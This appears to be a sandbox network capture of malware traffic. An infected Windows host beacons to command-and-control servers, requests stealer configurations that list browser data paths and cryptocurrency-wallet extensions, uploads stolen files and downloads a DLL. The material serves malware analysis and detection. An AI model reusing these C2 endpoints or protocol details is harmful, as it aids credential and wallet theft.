Nov 24, 2024 12:25:25.542557955 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGHDGHCGHCAAKFIIECF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 66 61 37 34 65 36 63 63 38 30 35 33 33 61 63 63 39 38 36 33 36 64 65 62 64 33 37 38 30 61 36 34 61 30 64 34 31 39 61 30 35 66 62 39 62 34 38 32 36 37 34 63 61 64 62 65 34 35 65 30 38 34 34 39 64 35 39 39 35 34 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="token"30fa74e6cc80533acc98636debd3780a64a0d419a05fb9b482674cadbe45e08449d59954------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="message"browsers------DBGHDGHCGHCAAKFIIECF--
Nov 24, 2024 12:25:26.000574112 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:25:25 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 24, 2024 12:25:26.000598907 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 24, 2024 12:25:26.138871908 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHCGHJDBFIIDGDHIJD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 66 61 37 34 65 36 63 63 38 30 35 33 33 61 63 63 39 38 36 33 36 64 65 62 64 33 37 38 30 61 36 34 61 30 64 34 31 39 61 30 35 66 62 39 62 34 38 32 36 37 34 63 61 64 62 65 34 35 65 30 38 34 34 39 64 35 39 39 35 34 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 2d 2d 0d 0a Data Ascii: ------ECFHCGHJDBFIIDGDHIJDContent-Disposition: form-data; name="token"30fa74e6cc80533acc98636debd3780a64a0d419a05fb9b482674cadbe45e08449d59954------ECFHCGHJDBFIIDGDHIJDContent-Disposition: form-data; name="message"plugins------ECFHCGHJDBFIIDGDHIJD--
Nov 24, 2024 12:25:26.596460104 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:25:26 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 24, 2024 12:25:26.596493006 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 24, 2024 12:25:26.596507072 CET	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 24, 2024 12:25:26.596517086 CET	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Nov 24, 2024 12:25:26.596529961 CET	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Nov 24, 2024 12:25:26.596546888 CET	1236	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Nov 24, 2024 12:25:26.596560955 CET	916	IN	Data Raw: 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d Data Ascii: bWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWp
Nov 24, 2024 12:25:27.533639908 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHCGIIDGDAKFIEBKFCF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 66 61 37 34 65 36 63 63 38 30 35 33 33 61 63 63 39 38 36 33 36 64 65 62 64 33 37 38 30 61 36 34 61 30 64 34 31 39 61 30 35 66 62 39 62 34 38 32 36 37 34 63 61 64 62 65 34 35 65 30 38 34 34 39 64 35 39 39 35 34 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 2d 2d 0d 0a Data Ascii: ------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="token"30fa74e6cc80533acc98636debd3780a64a0d419a05fb9b482674cadbe45e08449d59954------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="message"fplugins------CGHCGIIDGDAKFIEBKFCF--
Nov 24, 2024 12:25:27.996113062 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:25:27 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 24, 2024 12:25:29.141366005 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCB Host: 185.215.113.206 Content-Length: 7511 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 12:25:29.141530991 CET	7511	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 66 61 37 34 Data Ascii: ------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="token"30fa74e6cc80533acc98636debd3780a64a0d419a05fb9b482674cadbe45e08449d59954------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 24, 2024 12:25:30.246515989 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:25:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 12:25:31.855343103 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 12:25:32.313185930 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:25:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 24, 2024 12:25:32.313338995 CET	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 24, 2024 12:25:32.315629005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49956	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:25:27.667587996 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 34 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008747001&unit=246122658369
Nov 24, 2024 12:25:29.007735968 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:25:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49962	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:25:31.353568077 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 12:25:32.671598911 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:25:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49968	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:25:34.545975924 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 12:25:35.904462099 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:25:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49979	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:25:37.923511028 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 12:25:39.269273043 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:25:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49986	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
